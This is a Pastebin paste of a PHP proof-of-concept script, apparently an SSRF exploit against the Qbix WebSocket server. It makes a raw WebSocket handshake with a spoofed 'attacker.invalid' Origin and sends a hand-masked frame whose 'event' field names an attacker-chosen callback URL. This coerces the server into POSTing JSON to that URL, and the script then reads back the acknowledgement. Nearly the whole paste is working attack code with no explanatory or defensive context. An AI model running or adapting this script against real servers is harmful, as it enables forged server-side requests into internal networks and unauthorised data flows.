Guest User

Untitled

a guest
Jul 23rd, 2026
18
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.74 KB | None | 0 0
  1. <?php
  2.  
  3. function readExact($stream, $length)
  4. {
  5. $result = '';
  6. while (strlen($result) < $length) {
  7. $chunk = fread($stream, $length - strlen($result));
  8. if ($chunk === false || $chunk === '') {
  9. throw new RuntimeException('WebSocket closed before the ACK arrived');
  10. }
  11. $result .= $chunk;
  12. }
  13. return $result;
  14. }
  15.  
  16. $serverHost = '127.0.0.1'; // Host
  17. $serverPort = 8080;
  18. $callback = 'http://127.0.0.1:8000'; // The location we want to get POSTed JSON from
  19.  
  20. $socket = stream_socket_client(
  21. "tcp://{$serverHost}:{$serverPort}",
  22. $errno,
  23. $error,
  24. 3
  25. );
  26. if (!$socket) {
  27. throw new RuntimeException($error, $errno);
  28. }
  29.  
  30. $key = base64_encode(random_bytes(16));
  31. $request = "GET /ordinary-path HTTP/1.1\r\n"
  32. . "Host: {$serverHost}:{$serverPort}\r\n"
  33. . "Upgrade: websocket\r\n"
  34. . "Connection: Upgrade\r\n"
  35. . "Sec-WebSocket-Version: 13\r\n"
  36. . "Sec-WebSocket-Key: {$key}\r\n"
  37. . "Origin: https://attacker.invalid\r\n\r\n";
  38. fwrite($socket, $request);
  39.  
  40. $response = '';
  41. while (!str_contains($response, "\r\n\r\n")) {
  42. $chunk = fread($socket, 4096);
  43. if ($chunk === false || $chunk === '') break;
  44. $response .= $chunk;
  45. }
  46. if (!str_starts_with($response, 'HTTP/1.1 101')) {
  47. throw new RuntimeException("Upgrade failed:\n" . $response);
  48. }
  49.  
  50. $payload = json_encode(array(
  51. 'event' => $callback,
  52. 'data' => array('marker' => 'qbix-websocket-ssrf'),
  53. 'ack' => 1,
  54. ), JSON_UNESCAPED_SLASHES);
  55.  
  56. // Build a standards-compliant masked client text frame.
  57. $mask = random_bytes(4);
  58. $length = strlen($payload);
  59. if ($length < 126) {
  60. $frame = chr(0x81) . chr(0x80 | $length);
  61. } elseif ($length <= 65535) {
  62. $frame = chr(0x81) . chr(0x80 | 126) . pack('n', $length);
  63. } else {
  64. throw new RuntimeException('Unexpectedly large proof payload');
  65. }
  66. $masked = '';
  67. for ($i = 0; $i < $length; $i++) {
  68. $masked .= $payload[$i] ^ $mask[$i % 4];
  69. }
  70. fwrite($socket, $frame . $mask . $masked);
  71.  
  72. // Read the unmasked text frame that Qbix sends for the acknowledgement.
  73. stream_set_timeout($socket, 2);
  74. $header = readExact($socket, 2);
  75. $opcode = ord($header[0]) & 0x0f;
  76. $replyLength = ord($header[1]) & 0x7f;
  77. if ($replyLength === 126) {
  78. $replyLength = unpack('nlength', readExact($socket, 2))['length'];
  79. } elseif ($replyLength === 127) {
  80. $parts = unpack('Nhigh/Nlow', readExact($socket, 8));
  81. if ($parts['high'] !== 0) {
  82. throw new RuntimeException('Unexpectedly large ACK frame');
  83. }
  84. $replyLength = $parts['low'];
  85. }
  86. if ($opcode !== 1) {
  87. throw new RuntimeException("Expected a text ACK frame; received opcode {$opcode}");
  88. }
  89. $reply = readExact($socket, $replyLength);
  90. echo "WebSocket reply: {$reply}\n";
  91. fclose($socket);
Add Comment
Please, Sign In to add comment